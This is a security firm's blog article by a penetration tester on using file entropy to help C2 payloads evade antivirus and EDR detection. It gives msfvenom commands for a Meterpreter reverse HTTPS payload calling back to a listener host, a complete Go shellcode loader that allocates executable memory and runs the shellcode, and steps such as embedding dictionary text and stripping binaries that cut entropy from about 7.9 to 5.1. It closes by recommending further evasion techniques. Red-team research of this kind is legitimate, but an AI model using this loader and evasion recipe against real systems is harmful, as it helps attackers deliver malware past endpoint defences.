Services
Services
SOC & Attestations
SOC & Attestations
Payment Card Assessments
Payment Card Assessments
ISO Certifications
ISO Certifications
Privacy Assessments
Privacy Assessments
Federal Assessments
Federal Assessments
Healthcare Assessments
Healthcare Assessments
Penetration Testing
Penetration Testing
Cybersecurity Assessments
Cybersecurity Assessments
Crypto and Digital Trust
Crypto and Digital Trust
Schellman Training
Schellman Training
Industry Solutions
Industry Solutions
Cloud Computing & Data Centers
Cloud Computing & Data Centers
Financial Services & Fintech
Financial Services & Fintech
Healthcare
Healthcare
Payment Card Processing
Payment Card Processing
US Government
US Government
Learning Center
Learning Center
Articles
Articles
Whitepapers
Whitepapers
Case Studies
Case Studies
Events & Live Webinars
Events & Live Webinars
On-Demand Webinars
On-Demand Webinars
About Us
About Us
Leadership Team
Leadership Team
Careers
Careers
Corporate Social Responsibility
Corporate Social Responsibility

How to Use Entropy in Penetration Testing

penetration testing

If you’ve ever created payloads for different pen testing or red team projects, you might have run into the problem that comes after bypassing antivirus/endpoint detection and response (AV/EDRs)—after successfully circumventing these, the code and techniques used only works for a few weeks or months before getting flagged as malicious. 

This has become a challenge for our very experienced penetration test team as well, which set us on the search for a solution. As this is a common issue, there’s been a lot of research and blogs on different bypass techniques, but there was one on file entropy that stood out. We’re used to looking at the entropy of firmware to help determine if it’s encrypted or not, but we’ve never considered the use with regard to C2 payloads. As it turns out, entropy can be very handy in these scenarios where bypassing is necessary. 

In this article, we’ll explain how. To start, we’ll describe what entropy is and then we’ll go into different ways you can reduce the entropy score. Reducing the payload entropy will not automatically bypass security tools, but we’ve proven it can be a helpful attribute to work with when you have limited options. 

What is Entropy?

According to Wikipedia, entropy is "...the average level of 'information', 'surprise', or 'uncertainty' inherent to the variable's possible outcomes." In other words, entropy is a measure of randomness of data in the specified file. 

In security, most people use Shannon Entropy—a specific algorithm that returns a value between 0 and 8. The higher the number, the more random the data, and many times, a higher value means that the data is either packed or encrypted. 

To help determine if a file is malicious or not, different security products may calculate its entropy. Practical Security Analytics wrote about this—they analyzed the entropy of around 500k Windows executable files to verify how effective this analysis is in distinguishing malicious files from legitimate files. According to their findings, files with an entropy above 7.2 tended to be malicious. 

How to Check Entropy

To understand how entropy can help in security, you need to know how to check it. On Linux and macOS machines, you can use the "ent" program. We checked “bash,” and as you can see from the output below, it has an entropy of around 6.

$ ent /bin/bash

Entropy = 6.159561 bits per byte.

 More details:

  • Optimum compression would reduce the size of this 1230360-byte file by 23%.
  • Chi square distribution for 1230360 samples is 18260505.61 and randomly would exceed this value less than 0.01 percent of the time.
  • The arithmetic mean value of data bytes is 84.4088 (127.5 = random).
  • Monte Carlo value for Pi is 3.433473130 (error 9.29%).
  • Serial correlation coefficient is 0.409743 (totally uncorrelated = 0.0).       

To make it easier to check the entropy without all the additional details, we created a simple program:

$ ./shannon -file /bin/bash

6.159560931054298

 How to Reduce Entropy in Payloads

To try and get the entropy as low as possible, we tried a few different things. First, we generated a stageless Metasploit executable using the command below on different malware samples:

$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.5 LPORT=443 -e x86/shikata_ga_nai -f exe -o msf.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 201849 (iteration=0)

x86/shikata_ga_nai chosen with final size 201849

Payload size: 201849 bytes

Final size of exe file: 208384 bytes

Saved as: msf.exe

 But that gave us entropy at almost at the highest possible number, which would definitely be flagged by security scanners. 

$ ./shannon -file msf.exe
7.924424214044725

 For take two, we used Metasploit to generate shellcode instead of an executable. In doing this, we then created our own loader that injected and executed the shellcode.

$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.5 LPORT=443 -e x86/shikata_ga_nai -f raw -o payload.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 201849 (iteration=0)
x86/shikata_ga_nai chosen with final size 201849
Payload size: 201849 bytes
Saved as: payload.bin

 But the shellcode entropy was even higher than the executable.

$ ./shannon -file payload.bin

7.986056713327999

At this point, we created a loader in Go that was compiled to a Windows executable to apply the shellcode, using Go's "embed" library to easily add the shellcode to the file. The code below uses different Windows API calls to:

  • Allocate memory
  • Copy the shellcode to the allocated memory
  • Change the memory permissions
  • Execute the shellcode 
package main

import (

   "embed"

   "log"

            "unsafe"

            "golang.org/x/sys/windows"

)

//go:embed payload.bin

var f embed.FS




func main() {

   // Get the embeded shellcode

   data, err := f.ReadFile("payload.bin")

   if err != nil {

       log.Fatal(err)

   }

            // Allocate memory using VirtualAlloc API call

            addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

            if err != nil {

       log.Fatal(err)

   }

            // Load ntdll to use RtlMoveMemory and

   // move the shellcode to the allocated memory

            ntdll := windows.NewLazySystemDLL("ntdll.dll")

            RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")

            RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
        

   // Change the memory protections to read and execute

            var oldProtect uint32

            err = windows.VirtualProtect(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, &oldProtect)

   if err != nil {

       log.Fatal(err)

   }           

            // Load kernel32 to use CreateThread and execute the shellcode

            kernel32 := windows.NewLazySystemDLL("kernel32.dll")

            CreateThread := kernel32.NewProc("CreateThread")

            thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

            // Wait forever so the program doesn't exit

            windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

The commands below were used to compile the code into a Windows executable:

$ go mod init payload
$ go mod tidy
$ GOOS=windows GOARCH=amd64 go build -o payload.exe

Finally, some success—the entropy of the payload dropped almost a whole point, though it still remained pretty high. More than likely, the drop was due to Go's runtime, which provides garbage collection, reflection, and many other features.

$ ./shannon -file payload.exe
7.015162704411349

So, we kept at it, trying to get the entropy lower. Since entropy is based on randomness, one way to reduce the score was to add normal text to the file. We did this by downloading the English dictionary and embedding it into the payload. 

The commands below show how we downloaded the dictionary and displayed the number of words in the file:

$ wget http://www.gwicks.net/textlists/english3.zip
$ unzip english3.zip
$ ls -alh english3.txt
-rw-r--r-- 1 root root 1.9M Oct 23 2012 english3.txt

$ wc -l english3.txt
194433 english3.txt

Using the same method to embed the shellcode in the file, we added one line of code to embed the dictionary:

//go:embed english3.txt
//go:embed payload.raw
var static embed.FS

 Just by including the text file, the entropy was dropped by about half a point.

$ ./shannon -file payload2.exe
6.551539452432076

 Stripping the binary reduced the entropy even more:

$ GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -trimpath -o payload3.exe

$ ./shannon -file payload3.exe
6.029571138204901

 Just to see what would happen, we copied in the English dictionary multiple times:

$ cat english3.txt english3.txt english3.txt english3.txt english3.txt > englishbig.txt

$ ls -alh englishbig.txt
-rw-r--r-- 1 root root 9.1M Jul 17 01:23 englishbig.txt

$ wc -l englishbig.txt
972165 englishbig.txt

 Once the code was updated to use the larger file, the entropy dropped another point.

$ ./shannon -file payload4.exe
5.0849956311902105

 Want to Learn More?

Using these simple techniques, we were able to drop the entropy by almost three points (about 36%) while the payload still executed and ran normally. Now you too know how to reduce entropy, which should help you if you have trouble bypassing AV/EDR tools. For maximum helpfulness, we recommend combining this approach with additional techniques like:

  • Shellcode encryption
  • Delays and other normal functionality
  • Unhooking
  • Direct syscalls 

To learn more ways to help simplify your penetration testing and security work, read our other content that delves into other helpful practices:

And, if this kind technical exploration intrigues you, please check out our current career opportunities. Our penetration test team is allotted 150 hours for personal development and encourages creative examination like this—we’re always looking for new faces to broaden our perspectives and help us better serve our clients.

About Clint Mueller

Clint Mueller is a Senior Penetration Tester with Schellman based in the St. Louis, Missouri area. Prior to joining Schellman in 2021, Clint worked as the Senior Red Team Manager for a large health care company. During this time, Clint performed a variety of security assessments and threat emulations based on adversary tactics, techniques, and procedures (TTP) to help improve the company’s monitoring and detection capabilities. Clint has over seven years of experience comprised of serving clients in various industries, including health care, telecommunications, and financial services. Clint is now focused primarily on offensive security assessments including internal and external network testing, phishing, and web application assessments for organizations across various industries.